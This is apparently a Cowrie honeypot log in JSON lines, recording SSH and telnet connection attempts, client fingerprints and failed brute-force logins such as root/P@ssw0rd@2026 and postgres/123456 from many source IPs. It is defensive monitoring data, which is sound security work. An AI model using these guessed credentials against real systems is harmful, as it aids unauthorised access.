{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:08.909716Z","src_ip":"65.49.20.69","session":"c230a48e8cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.07640385627746582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:08.963856Z","src_ip":"65.49.20.69","session":"c230a48e8cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":58964,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecb00898a7b5","protocol":"ssh","message":"New connection: 167.86.88.212:58964 (159.203.135.109:22) [session: ecb00898a7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:10.664555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:10.670027Z","src_ip":"167.86.88.212","session":"ecb00898a7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:10.761591Z","src_ip":"167.86.88.212","session":"ecb00898a7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2026","message":"login attempt [root/P@ssw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:11.163547Z","src_ip":"167.86.88.212","session":"ecb00898a7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:12.257715Z","src_ip":"167.86.88.212","session":"ecb00898a7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":44256,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4112dfe1d25","protocol":"ssh","message":"New connection: 223.17.1.118:44256 (159.203.135.109:22) [session: e4112dfe1d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:20.036285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:20.046794Z","src_ip":"223.17.1.118","session":"e4112dfe1d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:20.259011Z","src_ip":"223.17.1.118","session":"e4112dfe1d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian12","message":"login attempt [root/debian12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:21.139937Z","src_ip":"223.17.1.118","session":"e4112dfe1d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:22.354809Z","src_ip":"223.17.1.118","session":"e4112dfe1d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.706021308898926,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:27.041135Z","src_ip":"170.64.224.25","session":"b822f598ff3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5064b5d82d","protocol":"telnet","message":"New connection: 170.64.224.25:48054 (159.203.135.109:23) [session: 9b5064b5d82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:28.123289Z"}
{"eventid":"cowrie.session.closed","duration":52.734614849090576,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:35.934049Z","src_ip":"170.64.224.25","session":"0f32aaf302ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":43232,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ce85922730","protocol":"ssh","message":"New connection: 217.160.226.51:43232 (159.203.135.109:22) [session: 60ce85922730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:51.294192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:51.301443Z","src_ip":"217.160.226.51","session":"60ce85922730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:51.408627Z","src_ip":"217.160.226.51","session":"60ce85922730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rm123456","message":"login attempt [root/rm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:51.874614Z","src_ip":"217.160.226.51","session":"60ce85922730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:52.985513Z","src_ip":"217.160.226.51","session":"60ce85922730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42674,"dst_ip":"10.17.0.5","dst_port":22,"session":"13bff5808bea","protocol":"ssh","message":"New connection: 103.176.20.57:42674 (10.17.0.5:22) [session: 13bff5808bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:53.195868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:53.201322Z","src_ip":"103.176.20.57","session":"13bff5808bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:53.444517Z","src_ip":"103.176.20.57","session":"13bff5808bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.72626757621765,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:54.166955Z","src_ip":"170.64.224.25","session":"eb052b9c19f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"200692","message":"login attempt [root/200692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:54.177893Z","src_ip":"103.176.20.57","session":"13bff5808bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:55.425882Z","src_ip":"103.176.20.57","session":"13bff5808bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58332,"dst_ip":"10.17.0.5","dst_port":22,"session":"35117b497a6f","protocol":"ssh","message":"New connection: 91.92.40.4:58332 (10.17.0.5:22) [session: 35117b497a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:59.350230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:59.401604Z","src_ip":"91.92.40.4","session":"35117b497a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:59.526925Z","src_ip":"91.92.40.4","session":"35117b497a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:37:59.781409Z","src_ip":"91.92.40.4","session":"35117b497a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:00.865711Z","src_ip":"91.92.40.4","session":"35117b497a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":57060,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b675b402d0","protocol":"ssh","message":"New connection: 175.118.127.138:57060 (159.203.135.109:22) [session: 38b675b402d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:01.207563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:01.213510Z","src_ip":"175.118.127.138","session":"38b675b402d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:01.394290Z","src_ip":"175.118.127.138","session":"38b675b402d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:02.149520Z","src_ip":"175.118.127.138","session":"38b675b402d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:03.336399Z","src_ip":"175.118.127.138","session":"38b675b402d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27303,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d01c9697ce","protocol":"ssh","message":"New connection: 223.197.186.7:27303 (10.17.0.5:22) [session: 66d01c9697ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:22.547557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:22.551568Z","src_ip":"223.197.186.7","session":"66d01c9697ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:22.796670Z","src_ip":"223.197.186.7","session":"66d01c9697ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58092,"dst_ip":"159.203.135.109","dst_port":23,"session":"209ef785bd26","protocol":"telnet","message":"New connection: 170.64.224.25:58092 (159.203.135.109:23) [session: 209ef785bd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:25.669845Z"}
{"eventid":"cowrie.session.closed","duration":61.34631705284119,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:29.469493Z","src_ip":"170.64.224.25","session":"9b5064b5d82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"7382f4d1eac7","protocol":"telnet","message":"New connection: 137.184.5.188:41380 (159.203.135.109:23) [session: 7382f4d1eac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:31.133128Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35248,"dst_ip":"159.203.135.109","dst_port":23,"session":"b979b7510342","protocol":"telnet","message":"New connection: 170.64.224.25:35248 (159.203.135.109:23) [session: b979b7510342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:32.378158Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56862,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5129869270","protocol":"telnet","message":"New connection: 107.6.151.170:56862 (159.203.135.109:23) [session: 9f5129869270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:33.101166Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36250,"dst_ip":"159.203.135.109","dst_port":23,"session":"747d4046f2d0","protocol":"telnet","message":"New connection: 107.6.151.170:36250 (159.203.135.109:23) [session: 747d4046f2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:34.114367Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":32802,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdecadbf9f38","protocol":"ssh","message":"New connection: 161.248.201.12:32802 (159.203.135.109:22) [session: fdecadbf9f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:47.926121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:47.931923Z","src_ip":"161.248.201.12","session":"fdecadbf9f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:48.191215Z","src_ip":"161.248.201.12","session":"fdecadbf9f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"111111","message":"login attempt [test1/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:49.242500Z","src_ip":"161.248.201.12","session":"fdecadbf9f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:50.499230Z","src_ip":"161.248.201.12","session":"fdecadbf9f38","protocol":"ssh"}
